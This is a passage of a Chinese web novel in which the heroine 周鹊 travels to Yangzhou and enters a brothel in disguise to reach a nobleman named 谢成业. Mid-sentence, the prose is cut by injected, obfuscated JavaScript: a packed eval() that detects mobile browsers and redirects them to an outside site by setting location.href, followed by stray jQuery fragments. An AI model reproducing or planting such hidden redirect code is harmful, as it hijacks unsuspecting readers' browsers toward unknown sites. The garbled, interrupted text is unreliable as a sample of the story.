“周鹊!周望京!”


    江赋臣伸手,接过印信,握于手中静静摩挲着。


    “你们禁军昨夜附近巡查之人在哪?”江赋臣神色淡淡,问出的话却令四周随行官兵浑身一颤。


    “你要做什么?”楚千羽冷冷看向江赋臣。


    江赋臣默默将印信收于掌心,不紧不慢道:“巡查不力,革职充军!”


    楚千羽皱了皱眉,沉声道:“你我都了解周鹊,他若要做什么事,这些人根本无法阻止!”


    江赋臣转头定定望着楚千羽,嘴角勾起一抹慑人的笑:“是你直接下令,还是我递文书?”


    羡王登基,如今的江家如日中天,想要查办一个禁军侍卫,易如反掌。


    楚千羽沉默片刻,冷声开口:“不劳江大人操心,我亲自处置。”


    ……


    日头刚出,周鹊的马车悠然驶出城门。


    晨风吹在脸上,带着说不出的惬意。


    “主子,此去扬州,约莫二十来天,咱们沿途可以边走边玩,我跟那边人说的是一月后到。”青梅一脸期待地搓手。


    周鹊走出马车,立在驭座上伸了个懒腰,朝阳打在她鬓角的碎发,衬着她那张白皙面孔越发娇媚,惹得过路行人纷纷侧目。


    感觉到周遭的目光,周鹊又迅速缩回了马车,到底还在京城地界,不得太过张扬。


    傍晚时分,马车在京畿边界的一处县城落脚。


    青梅接过信鸽,将书信取下,径直进了屋内。


    屋内灯火如豆,周鹊将一张图纸铺满方桌,几块颜色不一的小石头各自落在不同的位置。


    曾经的八大世家,京城周家已倒,除却陇西赵家、岭澜萧家,剩下五家皆聚集京城,江、楚两家为首,剩下三家分别是王、谢、孟。


    素闻谢府长子于江南一带行商,常从扬州带回美人,送至权贵床榻。


    “主子,扬州来信。”


    周鹊从青梅手中接过,快速阅过,又将其递至灯火处,焚烬。


    “谢成业下月去扬州。看来得加快脚程,沿途是玩不成了。”周鹊扔掉手中染上火星的信纸,不紧不慢掸了掸手上的灰。


    翌日,天不亮,马车便已出发。


    一路风餐露宿,总算在月末赶到扬州城,这个文人墨客梦寐以求的地方。


    马车在一处狭窄侧门处停下,一个风韵犹存的中年妇人摇着漆扇走上前来。


    她面上涂抹着厚重的胭脂水粉,以掩盖岁月的痕迹,走到近处,周鹊被这股浓烈香气熏得不由得蹙眉。


    “你就是雀儿?”中年妇人上下打量着周鹊,满意地点点头,“的确是不错!可以卖个好价钱。”


    “这还用你说?”


    她话音刚落,便感觉到青梅在她身后戳了一下。


    妇人亦是一脸若有所思地打量她。


    周鹊清了清嗓子,冲着妇人欠身行礼:“请嬷嬷不吝赐教。”


    中年妇人满意地点头:“这还差不多。”


    “跟我来吧!往后叫我刘妈妈就好。”刘妈妈走在周鹊前面,走起路来一扭一扭,好像浑身的线条都在颤动。


    周鹊眯着眼,仔细观察着刘妈妈的走姿。


    “妈妈,咱们这的姑娘都像您……”周鹊学着她的模样扭了两下,“像您这样?”


    刘妈妈轻笑了一声:“还真是孺子可教,不错,这是你要学的第一课。”


    周鹊平时没少出入烟花柳巷,不得不说,从这出来的姑娘的确更受欢迎。


    人家有稳定的招聘计划,有专业的职业培训,有正规渠道提供就业机会,一条龙服务保准顾客想要什么有什么。


    “你先跟我来,去换身衣服,你这身打扮男人瞧了得掉头就跑。”刘妈妈嫌弃地摸了摸鼻子。


    周鹊垂头看了眼自己的打扮,粗布麻衣,两条裤腿还不一样长,这不是为了配合自己穷苦人家的身份,特意改造的。


    刘妈妈推门进到一间储衣室。


    “来,穿这个!”她挑了一件水蓝色抹胸露肩舞裙,递给周鹊。


    周鹊接过:“谢刘妈妈。”


    “赶紧穿,我在外面等你!”


    房门关上,周鹊一改谦卑姿态,眼底覆上一抹戏谑。


    “穿成这样,想必就是站到他们面前,他们也未必敢认我。”她勾唇轻笑,将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311655|164500||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那布料少得可怜的舞裙在手里转了半天。


    话说,头在哪?从哪开始穿?


    ……


    周鹊出来时,已经是半柱香之后了,明明穿的很清凉,脸却莫名憋的有些红。


    刘嬷嬷看她身段,细腰丰臀,胸前春光若隐若现,笑得差点合不拢嘴。


    这可是笔大买卖,大老爷们可不得争抢着要。


    “跟我走。”


    周鹊跟在刘妈妈身后,有一句没一句地问着:“咱们这平时生意不错哈!”


    “那可不是!莫说当地富商一掷千金,便京城来的大老爷们也不在少数。”


    “听说八大世家的谢大公子便常来此。”周鹊继续套话。


    “不错,他每隔小半年都要来一次,算算日子,下个月便……”刘妈妈说到一半忽然反应过来,转头看向周鹊:“你胆子不小,敢肖想谢家那位!”


    “水往低处流,人往高处走,”周鹊笑了笑,从袖中抽出一块玉镯,戴上刘妈妈的手腕,“娘家祖传的宝贝,妈妈可得帮帮我!”


    刘妈妈得了好处,自是心花怒放,也就实话实说了:“凭你的姿色,倒也不是不行,可谢大公子要求很高,光有姿色可不行,这技艺……也得是上乘。”


    “我学东西很快,妈妈只要愿意费点心,我定让您大赚!”


    刘妈妈阅人无数,一眼就看出周鹊是个有脑子的,将来能爬多高都不奇怪。


    从她这走出去的姑娘,没有一千也有八百,最厉害的那几个在京城权贵圈里也是颇有名声。


    虽然这名声都不是什么好名声,毕竟那些贵妇最忌讳的便是像她们这样技艺绝妙的狐媚子。


    “你既有上进心,不似那些进来就会哭的蠢货,妈妈我倒也不是不能拉你一把。”


    刘妈妈摸了摸腕间的玉镯,这成色一看便价值不菲,死丫头还真舍得下血本。


    ……


    三天过去,周鹊走路姿势已经练的有模有样。


    “胸送出去!臀再翘一些!”刘妈妈的小棍子在周鹊身上来来回回地拨弄。


    周鹊起初是不那么适应,有几次脾气上来差点折了她的小棍子。